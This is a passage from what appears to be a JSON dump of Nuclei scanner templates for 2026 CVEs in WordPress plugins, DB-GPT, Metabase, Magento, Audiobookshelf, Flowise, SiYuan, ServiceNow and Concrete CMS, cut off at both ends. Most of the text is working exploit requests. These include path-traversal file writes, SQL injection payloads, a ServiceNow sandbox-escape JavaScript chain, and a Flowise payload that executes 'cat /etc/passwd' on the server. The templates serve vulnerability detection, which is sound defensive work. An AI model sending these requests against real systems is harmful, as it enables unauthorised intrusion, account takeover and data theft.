of the site.\n remediation: |\n Update to the latest version of the Read More & Accordion (expand-maker) plugin.\n reference:\n - https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130\n - https://wordpress.org/plugins/expand-maker/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-7467\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 8.8\n cve-id: CVE-2026-7467\n epss-score: 0.01242\n epss-percentile: 0.67882\n cwe-id: CWE-269\n metadata:\n verified: false\n max-request: 4\n vendor: radmore\n product: expand-maker\n framework: wordpress\n publicwww-query: \"/wp-content/plugins/expand-maker/\"\n tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated\n\nhttp:\n - raw:\n - |\n POST /wp-login.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1\n\n - |\n GET /wp-admin/admin.php?page=readMore HTTP/1.1\n Host: {{Hostname}}\n\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/\n\n matchers:\n - type: word\n part: body_2\n words:\n - \"yrmBackendData\"\n\n - type: word\n part: body_3\n words:\n - '\"success\":true'\n - \"Data import successful\"\n condition: and\n\n extractors:\n - type: regex\n name: yrm_nonce\n group: 1\n part: body_2\n regex:\n - 'yrmBackendData = \\{\"nonce\":\"([a-f0-9]+)\"'\n internal: true\n# digest: 4a0a00473045022100ef27d050e9fbbcab497adff490d69b53dde35bd0d3b07d8502e7446e73d66d2e02200f97e5163f50855b50375c57ef70f83029dd79582c13655da370914af0e574eb:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-7467.yaml","vuln_id":"cve-2026-7467"},{"raw":"id: CVE-2026-73034\n\ninfo:\n name: DB-GPT <= 0.8.1 - Arbitrary File Write\n author: iacker\n severity: critical\n description: |\n DB-GPT through 0.8.1 allows unauthenticated arbitrary file writes via a path traversal in the user_id HTTP header of the POST /api/v1/python/file/upload endpoint, letting attackers escape the intended upload directory and write files anywhere, as confirmed by the reflected upload path in the JSON response.\n impact: |\n Arbitrary file write as the DB-GPT process user, which can be escalated to remote code execution by writing to Python startup hooks, cron directories or agent scripts.\n remediation: |\n Upgrade DB-GPT to a version that validates the user_id header and confines the resolved upload path to the python_uploads directory.\n reference:\n - https://www.vulncheck.com/advisories/db-gpt-path-traversal-arbitrary-file-write-via-user-id-header\n - https://github.com/eosphoros-ai/DB-GPT/issues/3104\n - https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359\n - https://nvd.nist.gov/vuln/detail/CVE-2026-73034\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-73034\n epss-score: 0.05122\n epss-percentile: 0.92005\n cwe-id: CWE-22\n cpe: cpe:2.3:a:eosphoros:db-gpt:*:*:*:*:*:*:*:*\n metadata:\n verified: true\n max-request: 1\n vendor: eosphoros\n product: db-gpt\n shodan-query: http.favicon.hash:100632689\n fofa-query: icon_hash=\"100632689\"\n tags: cve,cve2026,dbgpt,eosphoros,lfi,traversal,file-write,intrusive\n\nvariables:\n fname: \"{{rand_base(9)}}\"\n boundary: \"{{rand_int(100000000, 999999999)}}\"\n\nhttp:\n - raw:\n - |\n POST /api/v1/python/file/upload HTTP/1.1\n Host: {{Hostname}}\n user-id: ../../../../../../../../../../tmp\n Content-Type: multipart/form-data; boundary=----boundary{{boundary}}\n\n ------boundary{{boundary}}\n Content-Disposition: form-data; name=\"file\"; filename=\"{{fname}}.py\"\n Content-Type: text/x-python\n\n print(\"{{fname}}\")\n ------boundary{{boundary}}--\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"\\\"success\\\":true\"\n - \"/tmp/{{fname}}.py\"\n condition: and\n\n - type: word\n part: content_type\n words:\n - \"application/json\"\n\n - type: status\n status:\n - 200\n\n - type: word\n part: body\n words:\n - \"python_uploads\"\n negative: true\n\n extractors:\n - type: json\n json:\n - \".data\"\n# digest: 4a0a00473045022003c25cc8de8464ea93cfa0f9e2363857ff3ab017f452466b83ba2bf41a4b98e2022100f0cc433dc584fd59dc9fead5a39d97c7ce8331574e392a90af131f0f5e9b315c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-73034.yaml","vuln_id":"cve-2026-73034"},{"raw":"id: CVE-2026-72898\n\ninfo:\n name: Metabase - Unauthenticated SQL Injection\n author: 0x_Akoko,pdteam\n severity: critical\n description: |\n Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.\n impact: |\n Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.\n remediation: |\n Update to the latest version of Metabase.\n reference:\n - https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf\n - https://securityonline.info/metabase-sql-injection-zero-day-exploited/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-72898\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n cvss-score: 10.0\n cve-id: CVE-2026-72898\n epss-score: 0.94217\n epss-percentile: 0.99846\n cwe-id: CWE-89\n metadata:\n verified: true\n max-request: 3\n shodan-query: http.title:\"Metabase\"\n fofa-query: title=\"Metabase\"\n product: metabase\n vendor: metabase\n tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n - raw:\n - |\n POST /api/session/reset_password HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"token\":{\"select\":1},\"password\":\"TestPassword1!\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 400'\n - 'contains_all(body, \"should be a string\", \"{:select 1}\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /api/session/reset_password HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"token\":{\"select\":[\"email\",\"id\"],\"from\":[\"core_user\"],\"where\":[\"=\",\"is_superuser\",true],\"limit\":1},\"password\":\"TestPassword1!\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 400'\n - 'contains_all(body, \"is_superuser\", \"core_user\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /api/session/reset_password HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"token\":\"1_0000\",\"password\":\"TestPassword1!\",\"user-id\":{\"select\":[\"id\"],\"from\":[\"core_user\"],\"where\":[\"=\",\"is_superuser\",true],\"limit\":1}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 400'\n - 'contains_all(body, \"\\\"errors\\\"\", \"\\\"password\\\"\")'\n - '!contains(body, \"disallowed key\")'\n condition: and\n# digest: 490a004630440220247a108c8213a328b649007b3d2ed0fa750292ca366174dd2b94758172524326022006c612e94363c0d55487d6c7941af1025d70faf5e3c49afd0d5f1ca5412c68b8:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-72898.yaml","vuln_id":"cve-2026-72898"},{"raw":"id: CVE-2026-71362\n\ninfo:\n name: Adobe Commerce/Magento - Customer Session Identity Switch\n author: 0x_Akoko,dinosn\n severity: critical\n description: |\n Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.\n impact: |\n Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.\n remediation: |\n Update to the latest version of Adobe Commerce.\n reference:\n - https://helpx.adobe.com/security/products/magento/apsb26-92.html\n - https://nvd.nist.gov/vuln/detail/CVE-2026-71362\n - https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92\n - https://github.com/dinosn/cve-2026-71362-magento-lab\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n cvss-score: 9.1\n cve-id: CVE-2026-71362\n epss-score: 0.2452\n epss-percentile: 0.97777\n cwe-id: CWE-863\n metadata:\n max-request: 6\n verified: true\n vendor: adobe\n product: magento\n shodan-query: http.component:\"Magento\"\n fofa-query: app=\"Magento\"\n tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev\n\nvariables:\n rnd: \"{{rand_int(100000, 999999)}}\"\n email: \"poctest{{rnd}}@poctest.invalid\"\n password: \"PoCPwd#{{rnd}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)\n\nhttp:\n - raw:\n - |\n GET /customer/account/create HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(tolower(body), \"form_key\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: fk\n group: 1\n regex:\n - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n internal: true\n\n - type: regex\n name: sessid\n part: header\n group: 1\n regex:\n - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n internal: true\n\n - raw:\n - |\n POST /customer/account/createPost HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n Cookie: {{sessid}}\n Referer: {{BaseURL}}/customer/account/create\n\n form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200 || status_code == 302'\n internal: true\n\n extractors:\n - type: regex\n name: sessid\n part: header\n group: 1\n regex:\n - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n internal: true\n\n - raw:\n - |\n GET /customer/account/edit HTTP/1.1\n Host: {{Hostname}}\n Cookie: {{sessid}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"PoCTestCVE\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: fk\n group: 1\n regex:\n - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n internal: true\n\n - type: regex\n name: sessid\n part: header\n group: 1\n regex:\n - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n internal: true\n\n - raw:\n - |\n POST /customer/account/editPost HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n Cookie: {{sessid}}\n Referer: {{BaseURL}}/customer/account/edit\n\n form_key={{fk}}&id=1&change_email=1¤t_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200 || status_code == 302'\n internal: true\n\n extractors:\n - type: regex\n name: sessid\n part: header\n group: 1\n regex:\n - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n internal: true\n\n - raw:\n - |\n GET /customer/account/edit HTTP/1.1\n Host: {{Hostname}}\n Cookie: {{sessid}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n internal: true\n\n extractors:\n - type: regex\n name: sessid\n part: header\n group: 1\n regex:\n - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n internal: true\n\n - raw:\n - |\n GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1\n Host: {{Hostname}}\n Cookie: {{sessid}}\n X-Requested-With: XMLHttpRequest\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - '!contains(body, \"PoCTestCVE\")'\n - 'regex(\"\\\"firstname\\\":\\\"[A-Za-z0-9]\", body)'\n condition: and\n\n extractors:\n - type: regex\n name: victim_firstname\n group: 1\n regex:\n - '\"firstname\":\"([^\"]+)\"'\n# digest: 4a0a0047304502200d7c12a8ac27a64b40d3d6197448e1681d17935a44d98feceb883f32cb9ce9e5022100f026dbae0e978c2b27d4a27b85901a2a7f86ec8de6ff2d872712fd5d34aeca58:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-71362.yaml","vuln_id":"cve-2026-71362"},{"raw":"id: CVE-2026-71209\n\ninfo:\n name: Audiobookshelf - Authentication Bypass\n author: str4k3r\n severity: critical\n description: |\n Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.\n impact: |\n Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.\n remediation: |\n Update to the latest version with proper decoding and authentication checks for path parameters.\n reference:\n - https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw\n - https://nvd.nist.gov/vuln/detail/CVE-2026-71209\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n cvss-score: 7.5\n cve-id: CVE-2026-71209\n epss-score: 0.02005\n epss-percentile: 0.79941\n cwe-id: CWE-287\n metadata:\n verified: true\n max-request: 2\n vendor: audiobookshelf\n product: audiobookshelf\n shodan-query: title:\"audiobookshelf\"\n fofa-query: title=\"audiobookshelf\"\n tags: cve,cve2026,audiobookshelf,auth-bypass,exposure\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n\n host-redirects: true\n max-redirects: 3\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_any(body, \"audiobookshelf\", \"Audiobookshelf\")'\n condition: and\n internal: true\n\n - raw:\n - |\n GET /api/collections?r=/api/items/1/cover HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"application/json\")'\n - 'contains(body, \"collections\")'\n condition: and\n# digest: 4a0a00473045022100d03180dda0a30b0d1217e433cd4cbdcf2d08b7ab17137133bfab90b43d4661fe022034bce0f374120b2606d4d7e35aeab4f9d4f9e46c39438c1895e41ed8c68de6ca:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-71209.yaml","vuln_id":"cve-2026-71209"},{"raw":"id: CVE-2026-69251\n\ninfo:\n name: Flowise < 3.1.3 - Remote Code Execution\n author: 1dayexploit\n severity: critical\n description: |\n Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.\n impact: |\n Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.\n remediation: |\n Update to version 3.1.3 or later.\n reference:\n - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5\n - https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f\n - https://nvd.nist.gov/vuln/detail/CVE-2026-69251\n classification:\n cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n cvss-score: 9.0\n cve-id: CVE-2026-69251\n epss-score: 0.03269\n epss-percentile: 0.8785\n cwe-id: CWE-94\n metadata:\n verified: true\n max-request: 5\n vendor: flowiseai\n product: flowise\n shodan-query: http.title:\"Flowise\"\n fofa-query: title=\"Flowise\"\n tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive\n\nvariables:\n fname: \"{{to_lower(rand_text_alpha(8))}}\"\n payload: \"throw new Error(require('child_process').execSync('cat /etc/passwd').toString())\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n - raw:\n - |\n POST /api/v1/auth/login HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"email\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n skip-variables-check: true\n matchers:\n - type: dsl\n dsl:\n - 'contains_any(body, \"activeOrganizationId\", \"Unauthorized Access\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /api/v1/document-store/store HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n x-request-from: internal\n\n {\"name\":\"poc-{{fname}}\",\"description\":\"CVE-2026-69251\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"loaders\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: storeid\n part: body\n group: 1\n regex:\n - '\"id\":\"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\"'\n internal: true\n\n - raw:\n - |\n POST /api/v1/document-store/loader/save HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n x-request-from: internal\n\n {\"storeId\":\"{{storeid}}\",\"loaderId\":\"fileLoader\",\"loaderName\":\"poc\",\"splitterId\":\"\",\"loaderConfig\":{\"file\":\"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js\",\"usage\":\"perPage\"}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n internal: true\n\n extractors:\n - type: regex\n name: loaderid\n part: body\n group: 1\n regex:\n - '\"id\":\"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\"'\n internal: true\n\n - raw:\n - |\n POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n x-request-from: internal\n\n {\"id\":\"{{loaderid}}\",\"storeId\":\"{{storeid}}\",\"loaderId\":\"fileLoader\",\"loaderName\":\"poc\",\"splitterId\":\"\",\"loaderConfig\":{\"file\":\"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js\",\"usage\":\"perPage\"}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n internal: true\n\n - raw:\n - |\n POST /api/v1/document-store/vectorstore/insert HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n x-request-from: internal\n\n {\"storeId\":\"{{storeid}}\",\"recordManagerName\":\"SQLiteRecordManager\",\"recordManagerConfig\":{\"tableName\":\"poc\",\"cleanup\":\"none\",\"sourceIdKey\":\"source\",\"additionalConfig\":\"{\\\"entities\\\":[\\\"/root/.flowise/storage/**/{{fname}}.js\\\",\\\"/home/node/.flowise/storage/**/{{fname}}.js\\\",\\\"/app/.flowise/storage/**/{{fname}}.js\\\",\\\"/data/.flowise/storage/**/{{fname}}.js\\\"]}\"},\"embeddingName\":\"openAIEmbeddings\",\"embeddingConfig\":{\"modelName\":\"text-embedding-ada-002\"},\"vectorStoreName\":\"weaviate\",\"vectorStoreConfig\":{\"weaviateScheme\":\"http\",\"weaviateHost\":\"127.0.0.1:8080\",\"weaviateIndex\":\"Poc\",\"weaviateTextKey\":\"text\"}}\n\n matchers:\n - type: dsl\n dsl:\n - regex('root:.*:0:0:', body)\n - '!contains(body, \"Disallowed TypeORM DataSource option\")'\n condition: and\n\n extractors:\n - type: regex\n part: body\n group: 1\n regex:\n - 'Error: (root:.*?)\",\\\"stack'\n# digest: 4b0a00483046022100c9e85cd9e19d12205bcc38202428fc55c9faeb6e777792da8e7dcfac54b4337d022100d1529002a59d64323f3b75bee12c0118d22b7a45f3e95ca3a3371bb5f43ac22b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-69251.yaml","vuln_id":"cve-2026-69251"},{"raw":"id: CVE-2026-69085\n\ninfo:\n name: SiYuan <=3.7.2 - SQL Injection\n author: str4k3r\n severity: critical\n description: |\n SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.\n impact: |\n Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.\n remediation: |\n Update to version 3.7.3 or later.\n reference:\n - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4\n - https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3\n - https://hub.docker.com/r/b3log/siyuan/tags\n - https://nvd.nist.gov/vuln/detail/CVE-2026-69085\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n cvss-score: 10\n cve-id: CVE-2026-69085\n epss-score: 0.00875\n epss-percentile: 0.57444\n cwe-id: CWE-89\n metadata:\n verified: true\n max-request: 2\n vendor: b3log\n product: siyuan\n shodan-query: http.favicon.hash:-1450125239\n tags: cve,cve2026,siyuan,sqli,sqlite,unauth\n\nhttp:\n - raw:\n - |\n POST /api/notebook/lsNotebooks HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {}\n\n - |\n POST /api/filetree/searchDocs HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"k\":\"poc%')/**/union/**/select/**/'poc','','poc','','{{box_id}}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--\"}\n\n extractors:\n - type: regex\n name: box_id\n part: body\n group: 1\n internal: true\n regex:\n - '\"id\":\"([0-9]{14}-[a-z0-9]{7})\"[^}]*\"closed\":false'\n\n matchers-condition: and\n matchers:\n - type: status\n status:\n - 200\n\n - type: regex\n part: body\n regex:\n - '\"path\":\"[0-9]+\\.[0-9]+\\.[0-9]+\"'\n# digest: 4a0a0047304502202a05a9750866b0871734cb0c95dae7cced230e4b8a5f9f97b38157eadfea993d022100ef203f25def3fb87eadd125bdcad55d7e6a80720d478f0c48565ed34337bfb72:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-69085.yaml","vuln_id":"cve-2026-69085"},{"raw":"id: CVE-2026-69084\n\ninfo:\n name: SiYuan - SQL Execution\n author: Boreas37\n severity: critical\n description: |\n SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.\n impact: |\n Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.\n remediation: |\n Update to version v3.7.3 or later.\n reference:\n - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7\n - https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock\n - https://nvd.nist.gov/vuln/detail/CVE-2026-69084\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n cvss-score: 10\n cve-id: CVE-2026-69084\n epss-score: 0.01104\n epss-percentile: 0.64313\n cwe-id: CWE-89\n metadata:\n max-request: 2\n verified: true\n shodan-query: 'title:\"SiYuan\"'\n tags: cve,cve2026,siyuan,sqli,authenticated\n\nvariables:\n auth_code: \"{{password}}\"\n\nhttp:\n - raw:\n - |\n POST /api/system/loginAuth HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"authCode\":\"{{auth_code}}\"}\n\n - |\n POST /api/search/searchEmbedBlock HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"embedBlockID\":\"20210808180117-6v0mkxr\",\"stmt\":\"SELECT 1; SELECT 2\",\"excludeIDs\":[],\"headingMode\":0,\"breadcrumb\":false}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - '\"code\":0'\n\n - type: word\n part: body\n words:\n - 'SQL statement is not single'\n negative: true\n\n - type: status\n status:\n - 200\n# digest: 4a0a0047304502210094c43b732eafa15405f6ae3a216cbdbaf325e052989efe65095f6c307c1d70ab02205955bcce93021b41ea0f5bfa322980ead377a538fe6ba6752836e0b43402692e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-69084.yaml","vuln_id":"cve-2026-69084"},{"raw":"id: CVE-2026-6875\n\ninfo:\n name: ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE\n author: pdteam,DhiyaneshDk\n severity: critical\n description: |\n ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates \"javascript:\" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.\n impact: |\n Unauthenticated attackers can execute arbitrary code within the ServiceNow platform, access all database tables, create administrator accounts, and execute shell commands on connected MID proxy servers that sit within corporate internal networks.\n remediation: Apply the latest security updates or upgrade to the patched release provided by ServiceNow.\n reference:\n - https://slcyber.io/research-center/smashing-the-servicenow-sandbox-pre-authentication-rce/\n - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947\n - https://nvd.nist.gov/vuln/detail/CVE-2026-6875\n - https://www.bleepingcomputer.com/news/security/critical-servicenow-code-execution-flaw-now-exploited-in-attacks/\n - https://github.com/tc4dy/CVE-2026-6875-PoC-Exploit\n classification:\n cve-id: CVE-2026-6875\n cwe-id: CWE-94\n cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n cvss-score: 9.5\n epss-score: 0.77584\n epss-percentile: 0.99539\n metadata:\n verified: true\n max-request: 2\n vendor: servicenow\n product: servicenow\n shodan-query:\n - http.favicon.hash:\"1701804003\"\n - http.title:\"servicenow\"\n fofa-query:\n - icon_hash=1701804003\n - title=\"servicenow\"\n google-query: intitle:\"servicenow\"\n tags: cve,cve2026,servicenow,rce,sandbox-escape,js-injection,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/login.do\"\n\n host-redirects: true\n max-redirects: 3\n\n matchers:\n - type: word\n part: body\n words:\n - \"servicenow\"\n - \"glide\"\n - \"sysparm\"\n condition: or\n case-insensitive: true\n internal: true\n\n - raw:\n - |\n GET /assessment_thanks.do?sysparm_assessable_type=javascript%3AObject.defineProperty(Object%2C%27clone%27%2C%7Bvalue%3AClass.create.constructor%7D)%3BObject.defineProperty(AbstractAjaxProcessor%2C%27prototype%27%2C%7Bvalue%3A%22GlideController().evaluateAsObject(%27gs.addInfoMessage(999*999)%27)%22%7D)%3Bgs.include(%27ItemViewElementsProvider%27)%3BItemViewElementsProvider.prototype() HTTP/1.1\n Host: {{Hostname}}\n\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"998001\"\n\n - type: word\n part: content_type\n words:\n - \"text/html\"\n\n - type: status\n status:\n - 200\n# digest: 4a0a0047304502210098451b0274f80cc6a9a9e1cce8f31ff2d4d4d77a0ee9adbf79e33640be8cce3902204f1f75eb8f1d838faf5f6ac911da296acdbd6512418aea82ae066a2232d31d8e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-6875.yaml","vuln_id":"cve-2026-6875"},{"raw":"id: CVE-2026-6854\n\ninfo:\n name: My Calendar < 3.7.9 - Unauthenticated SQL Injection\n author: Pauullamm\n severity: high\n description: |\n The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n impact: |\n Unauthenticated attackers can extract sensitive database information, leading to data disclosure.\n remediation: |\n Update to the latest version of the My Calendar – Accessible Event Manager plugin.\n reference:\n - https://wpscan.com/vulnerability/a6466f97-4d8a-4d01-b61f-94d89da7c16b/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-6854\n classification:\n cve-id: CVE-2026-6854\n epss-score: 0.01577\n epss-percentile: 0.74388\n cwe-id: CWE-89\n metadata:\n max-request: 3\n verified: true\n tags: cve,cve2026,sqli,wordpress,my-calendar\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt\"\n\n matchers:\n - type: word\n part: body\n words:\n - \"My Calendar\"\n internal: true\n\n extractors:\n - type: regex\n name: my_calendar_version\n part: body\n group: 1\n regex:\n - \"(?mi)^Stable tag:\\\\s*([0-9]+\\\\.[0-9]+\\\\.[0-9]+)\"\n internal: true\n\n - method: GET\n path:\n - \"{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json\"\n\n matchers:\n - type: dsl\n dsl:\n - \"status_code >= 200\"\n - \"contains(tolower(header), 'application/json')\"\n condition: and\n internal: true\n\n - method: GET\n path:\n - \"{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json&mc_auth=1%2C2)%20OR%20SLEEP%287%29--%20x\"\n\n matchers:\n - type: dsl\n dsl:\n - \"duration >= 7\"\n# digest: 4a0a0047304502205a4d987ded2c984c0e613167c2351bc7e7a198d731e439c5d57b300b1322a87302210085c2390c08edae4f918a700ce3bb989b9985ba8dd90ef21550dc5a1b5262b319:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-6854.yaml","vuln_id":"cve-2026-6854"},{"raw":"id: CVE-2026-6826\n\ninfo:\n name: Concrete CMS <9.5.1 - Unauthenticated File Usage Disclosure\n author: str4k3r\n severity: medium\n description: |\n Concrete CMS 9.5.0 and below is vulnerable to unauthenticated file usage disclosure via 